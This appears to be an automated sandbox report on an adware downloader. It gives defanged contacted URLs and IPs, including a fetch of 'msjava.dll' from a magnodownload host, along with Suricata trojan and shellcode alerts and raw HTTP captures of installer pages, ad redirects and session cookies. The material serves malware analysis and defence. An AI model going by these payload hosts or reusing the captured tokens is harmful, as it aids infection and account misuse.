hxxp://profile.alibaba.com/ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183016471045402329565_1434687458109&_=1434687459625	198.11.132.198
hxxp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1	216.58.209.162
hxxp://img.alicdn.com/tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://img.alicdn.com/tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0	212.30.134.221
hxxp://img.alicdn.com/tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=388bfba55_1017e8f7eab	212.30.134.221
hxxp://style.aliunicorn.com/js/6v/biz/common/webatm-new/webatm.js?t=f8341bb2_875dbec1cc	212.30.134.221
hxxp://ynuf/service/um.json?xv=2.0.3&xt=4a24c602-4ba6-4545-8c83-655868021cbe&xa=scp4p&xh=&x0=0^^1^^1^^1^^1^^1^^1^^1^^5^^1^^color^^-^^1276^^846&x1=1^^1^^1^^1^^0^^0^^1^^0^^0^^en^^-^^0^^Windows XP^^Win32&x2=Mozilla^^;SP3;^^Microsoft Internet Explorer^^3516ab67d54092e6bf44e729b77d6580^^en-us^^x86^^57f2da82064a7b7501289385afb25340^^Adobe Windows^^ActiveX^^en-us^^1def8189f7c620d61827869f51fcf447^^en-us^^WIN 11,6,602,168&x3=818^^1276^^3925^^1400^^846^^-^^http%3A%2F%2Foffer.alibaba.com%2Fexclusive.html%3Falpsm%3Dtrue%26match%3Drule%26prior%3Dmedium%26rank%3Dsolelp%26tv%3D1%26imp%3D5b1e9619o50ibman6lq%26xp%3DOk4TB0j0x^^-^^101^^-^^1434687460797^^120^^1276&xs=null&_callback=_2616_1434687460797
hxxp://style.aliunicorn.com/css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea	212.30.134.221
hxxp://style.aliunicorn.com/js/6v/lib/??arale/class/class.js,arale/events/events.js,arale/base/base.js,icbu/scroll-trigger/scroll-trigger.js?t=191da4a39_975681822	212.30.134.221
hxxp://notification.alibaba.com/notification.do?callback=jQuery183016471045402329565_1434687458110&_=1434687459656	198.11.132.198
hxxp://style.aliunicorn.com/js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0	212.30.134.221
hxxp://www.google-analytics.com/analytics.js	216.58.209.174
hxxp://style.aliunicorn.com/simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0	212.30.134.221
hxxp://img.alicdn.com/tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://img.alicdn.com/tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg	23.64.226.88
hxxp://gj.mmstat.com/7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=f0c787f&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.ySHRO2&aplus&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_apache_id=193.138.244.231.1434687450825.709605.4&dmtrack_c={trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident	205.204.96.45
hxxp://static.api.magnodownload.com/d5/msjava.dll	54.191.3.243
hxxp://style.aliunicorn.com/js/6v/atom/??atom-sc.js?t=8e2771a7_11ce291e2b	212.30.134.221
hxxp://style.aliunicorn.com/simg/sprites/app/[email protected]?t=21312772_0	212.30.134.221
hxxp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=	216.58.209.162
hxxp://img.alicdn.com/tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://style.aliunicorn.com/css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f	212.30.134.221
hxxp://style.aliunicorn.com/js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca	212.30.134.221
hxxp://style.aliunicorn.com/simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0	212.30.134.221
hxxp://i02.i.aliimg.com/simg/sprites/env/aisn/goto-top.png	212.30.134.222
hxxp://style.aliunicorn.com/simg/single/icon/loading_16x16.gif?t=30d69a7b_0	212.30.134.221
hxxp://img.alicdn.com/tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png	23.64.226.88
hxxp://img.alicdn.com/tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png	23.64.226.88
hxxp://is.alicdn.com/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true	23.64.226.88
s.tbcdn.cn	80.231.126.239
stats.g.doubleclick.net	64.233.165.155
sha256.daily.1688.com	198.11.132.191
ssl.google-analytics.com	216.58.209.200

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Suspicious User-Agent (Session) - Possible Trojan-Clicker
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Fri, 19 Jun 2015 04:17:27 GMT

ETag: "54f07a08-570"

Last-Modified: Fri, 27 Feb 2015 14:07:04 GMT

Server: nginx

Content-Length: 1392

Connection: keep-alive
.PNG........IHDR...|.........L.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:15582AE06BF411E4901AB7
B77D879212" xmpMM:DocumentID="xmp.did:15582AE16BF411E4901AB7B77D879212
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED896BEF11E4
901AB7B77D879212" stRef:documentID="xmp.did:24FEED8A6BEF11E4901AB7B77D
879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>[email protected]~:52u.....,.g...e.
.<..l..F...|.E.....G....n..g......V..v.^.C..?... .........k..Bc.Y.V
....._....E.(...T.eR...`yn..i.{t...-{tB..{\5......y..s..4kyn<=\5.KV
:......u..l..QK.)z.n.........c......\....N.=EG..w..^.Xh......~....w...
>..S.dy.H.$5.@.^o..........t...5.N|...>....3..H.....(.3..`Ft....
......y..~8^...1OC..x....it&W@it..."..=^MV..WA.$.....W...D6.....v.y...
....Pis..2.W:..^..........-.lx>P......3$CR...}.<..5*......f,vl]c
.i...k...xN.|>o6......P......z..p8..cv.....o.....&..m.c....IEND.B`.
....
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 19 Jun 2015 04:17:28 GMT

ETag: "54f07a05-12d72"

Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT

Server: nginx

Content-Length: 77170

Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i.....
/..1..2.....M.....W...........v...........-..u........0..1.. ..... ...
.....*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2.
.4..8..).. ..u..... ..$.....z..m...........*......../..*.....,........
...4..".....%..'.. ..............%........(../..............!.........
.....8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..X
MP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" x
mpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:Docum
entID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:Derived
From stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef
:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>

GET /__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Fri, 19 Jun 2015 04:17:30 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 814

Connection: keep-alive
.<!--finish Videoupdater-->....<div class="finish">..<h
1>........Setup Wizard.......</h1>..<p style="margin-top: 
15px; font-size: 13px;">You have succesfully installed the software
 below and they are ready to be used:</p>....<div class="item
s">...<ul>....<li class="check">%mapp%</li>......
</ul>..</div>....<div class="clear"></div>....
<p>Recommended offers:</p>......<div class="list-toolba
rs" id="alloffers">....<ul class="_FinishOffers">....</ul&
gt;...</div>....<!--...<div class="banner">......<if
rame src="hXXp://n149adserv.com/ads?key=09879bcf6e631312a2c4d02d9cae27
2f&width=300&height=250" frameborder='0' scrolling='no' width='300' he
ight='250'></iframe>...</div> ..-->.........<inpu
t id="_Bexit" class="_Bexit close absol" tabindex="2" type="submit" na
me="nombre" onclick='onExit()' value="Close">....</div>..nt>....


GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 19 Jun 2015 04:17:30 GMT

ETag: "54f079fd-36"

Last-Modified: Fri, 27 Feb 2015 14:06:53 GMT

Server: nginx

Content-Length: 54

Connection: keep-alive
GIF89a.............!.......,...................P..U..;HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Content-Type: image/gif..Date: Fri, 19 Jun 2015
 04:17:30 GMT..ETag: "54f079fd-36"..Last-Modified: Fri, 27 Feb 2015 14
:06:53 GMT..Server: nginx..Content-Length: 54..Connection: keep-alive.
.GIF89a.............!.......,...................P..U..;..

GET /analytics.js HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 19 Jun 2015 02:21:10 GMT

Expires: Fri, 19 Jun 2015 04:21:10 GMT

Last-Modified: Wed, 27 May 2015 21:02:55 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11093

Age: 6982

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=0
...........}iW....w~E\'.U..e...6.^.L$.I.l.,.$......!....~...28.......j
k...,ux2..i.4.......21C5........x44..8I..C=...d_NO[...7*."..33.e.{2>
;..I..W..[......2....ZNe ...\N.i ~.$...i fI.2#.....S....$....t.......T
.g......M..A..>I..HI.&...9......l46.....l4..%*.$.....F.g..H...bJ.h.
.8........x<.f.Tx6.Z...%....Lh..ht..43..ht...4..i..!........`.Q.f.{
..vDW4.3.M...<..~b.B.....Wc*8.\5..z>.5....NeFH.......c..zi..S.zN
....!r...H...~ONGY ^&..Q.....F{.K.....ZX..*........I|....Nw...:..1...2
..M*u_.n....NFY..-.tE..[...x.m..j.....j(;..d0.*i.a.Mn}.klm..~....mK.f$
....Ov.>{......{...o..;z....._..T...N.?......g6.....]..7.76.<|..
...A.Ne.=....M=j...y... ...'.3..t24.......Z.40E.9J....p|.T.f.TS....F..
$'^h...h............-&.d.P...S..#..5jKZ. BN.Q...nn.U]7..5.F.[...}z.[..
xXQ.L...&.j....1r....<(H.......gK.vF.......L^u..!.c_MGG..;;..B.....
..{....W.$ruu...........sP.E.Li-m...{k.\ .....L..di?.-;oU7.}..O...z.z.
...z..j..\L.......h..s.C ./q....N.0sr..Dz4.s1...5.......R...T.P...]f..
..k......N.-L_(..lgW.2.Z?. ....L..d...0. JT*:jR.t*.)....|....*5...8Bh.
k...h>.....1..P,.&*....N.6....i......2..j....41.R"(*&.B....d.......
[email protected]<.....a....Y..:e&.bh..ty...=.N..&m....n.Yw.~-,...AP..s
..`......8.hC=.......Z.ibb\&.L."4..q...q..V.w....a.o...A.V..b6E......$
Q77..o..I......F"......m.K? ...}O.>...K...P.WD.....B.:..{...O......
.$N%......}j.Z.6D..3D...n."u...6M.`E=:#..?......Y:=PI.....$....`b..f3\
BR.-..!.....c.vf.&D([.q.a`Bs.........Yq.K.t..L.m.u..U..i..j..-.n.j7T..
f.5..F.4..<.......st.........KK..`%*ji...H1..........t.}.\.8..d
<<< skipped >>>

GET /r/collect?v=1&_v=j37&a=1039299095&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=677571037&cid=956779042.1434687459&tid=UA-53529524-1&_r=1&z=627225388 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Location: hXXps://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-53529524-1&cid=956779042.1434687459&jid=677571037&_v=j37&z=627225388

Access-Control-Allow-Origin: *

Date: Fri, 19 Jun 2015 04:17:32 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

Content-Type: text/html; charset=UTF-8

Server: Golfe2

Content-Length: 366

Alternate-Protocol: 80:quic,p=0
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://stats.g.doubleclick.net/r/collect?v=1&aip=1
&t=dc&_r=3&tid=UA-53529524-1&cid=956779042.1434687459&
amp;jid=677571037&_v=j37&z=627225388">here</A>...<
/BODY></HTML>..HTTP/1.1 302 Found..Location: hXXps://stats.g.
doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-53529524-1&cid=95
6779042.1434687459&jid=677571037&_v=j37&z=627225388..Access-Control-Al
low-Origin: *..Date: Fri, 19 Jun 2015 04:17:32 GMT..Pragma: no-cache..
Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-st
ore, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..Co
ntent-Type: text/html; charset=UTF-8..Server: Golfe2..Content-Length: 
366..Alternate-Protocol: 80:quic,p=0..<HTML><HEAD><meta
 http-equiv="content-type" content="text/html;charset=utf-8">.<T
ITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302
 Moved</H1>.The document has moved.<A HREF="hXXps://stats.g.d
oubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-53
529524-1&cid=956779042.1434687459&jid=677571037&_v=j37&
;z=627225388">here</A>...</BODY></HTML>....
<<< skipped >>>

GET /exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: offer.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; ali_apache_track=""; ali_apache_tracktmp=""; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:31 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

P3P: CP="CAO PSA OUR"

Set-Cookie: JSESSIONID=EF6YX6OSO2-RS41MDH9P5PZG2CA8KEW1-KA6V33BI-GUTZ; Path=/; HttpOnly

Set-Cookie: ali_apache_track=; Domain=.alibaba.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/

Set-Cookie: ali_apache_tracktmp=; Domain=.alibaba.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/

Set-Cookie: _mle_tmp0=eNrz4A12DQ729PeL9/V3cfUxiKnOTLFScnUzi4ww8w/2N9INCjYx9HXxsAwwDYhyN3J2tPB2DTfU9XY0CzM2dvLUdQ8NiVLSSS6xMjQxNjGzMDcxNTSyNNJJTEYTyK2wMqiNAgB1/Bzi; Path=/; HttpOnly

Content-Language: en-US

Content-Encoding: gzip
5c06..............]s... .lG.......N."..S....e...u,..}..(.E.....C......
....}.........y.y......?3......Y.......4i.u.5I .* .*   3...._...=~$u..
..ww......u...@/.g...)...{.#.f[.....G........q\.m.^..(@.^.H......../..
.. .......I...F...t......#.\P.o.../q...A...v...............6.<.....
O.~.4..GW}...;o6V.N].1..a[....K.~..ixC.0.u_...........'.......tb..fX..
.......E.Jm..%kf....1M..%.;.R..vL}.........m....x.?M.....mo........M..
..-C.....4.-..K.o..].....!p..jE.66..Co.|. .VU)..:........^A....@......
A...4..~..n......E\...n...x..*.../!\l......<..............G..N.^.?.
.........L....%W.`^w.Jn......V.`X...qz....[.........Ri..B$.d.8b..K..=C
q.\.0....d-.%bt.P.S.7......v....z=...qY..e.[..L..8.`..V.8...S2A...(.I.
..~.$C...q......85...i.0..^..J:m.....V.F<[email protected]./.u.].G.` *z.^.
..:.G...B#. @...E...K.........3.....Gn.M..).\Q......vf......>.....%
.O...h.s.....|}..?....b.*..L....Q.)S...,./(l.Et$.J?J ...wNw~.~,....K.H
.;.......>..r..<..,.esSZ9..}u.srp...... .....mJ2|..R.N....#...d/
u.{P..h..........-.&:.j........hJ...}@hum.C.S...3... ?......... ......
.l....H...}.........F.$.[.>[email protected]($F....A...l[......|..:. o...
...\.^.T...%.."..}{E...]..2i..f.)W.J.Q.Te(.^...0.....-;.z.PNtaTBIt....
.y.....Z..0n{.z...z..9{.}.{..U.....=....wO^...^..Y.....7.l....._..C...
s.....~..<...{...../.. .....u.[.a.u....y..g...|.?.. ..d........#g..
...qt......j.......=.(.'..........W?.....I........e.Q.....zqj.........
^>..j....U..y.....w..-.....]..4../.^.o.O.)/_>{............=.....
........... .......]....}$.........9......._.xtz4|.....n_.Y.5.....
<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: offer.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj; JSESSIONID=EF6YX6OSO2-RS41MDH9P5PZG2CA8KEW1-KA6V33BI-GUTZ; _mle_tmp0=eNrz4A12DQ729PeL9/V3cfUxiKnOTLFScnUzi4ww8w/2N9INCjYx9HXxsAwwDYhyN3J2tPB2DTfU9XY0CzM2dvLUdQ8NiVLSSS6xMjQxNjGzMDcxNTSyNNJJTEYTyK2wMqiNAgB1/Bzi

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:33 GMT

Content-Type: image/x-icon

Content-Length: 1406

Last-Modified: Tue, 09 Jun 2015 06:57:32 GMT

Connection: keep-alive

ETag: "55768e5c-57e"

Accept-Ranges: bytes
..............h.......(....... ...........@...........................
.p...LL......t.......(H.0P......,Hx. XX.....4h.. [email protected]`...|...,,.......
[email protected].. 0..............\\......|.......<D.<\..D`..8H
X.,l..4<[email protected]..<@.<t.................
.................([email protected].....,[email protected].(((..................
....48.0..............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...................................................ADDDD*C.((0)  ..>
;GGGGG<<C.(...... GGGGG<<C.(... ;;..GGGGG<C....);;.8'GG
GGG<C..();;;..GGGGGG<CC.0;;;.1.. 91.<<CC.;;;;;EGGGGG ..<
;.(;;;;;EGGGGG.G<C.(;;;;.GGGGGGGG<..(;;;?.GGGGGGGD...(.;;;!..GGG
GD....(.;;;;;!...D4....(..;;;;;....4....((..;;;;;;..4.....(.CC);;;....
..............................................................
<<< skipped >>>

GET /wimg/monitor/start-render.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sat, 20 Jun 2015 21:40:37 GMT

Last-Modified: Tue, 17 Jul 2012 05:55:27 GMT

Cache-Control: max-age=172800

Server: Tengine

Accept-Ranges: bytes

SERVED-FROM: 24.143.194.30

Content-Length: 949

Content-Type: image/png

X-Pad: avoid browser bug

Date: Fri, 19 Jun 2015 04:17:31 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR.............(.4.....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
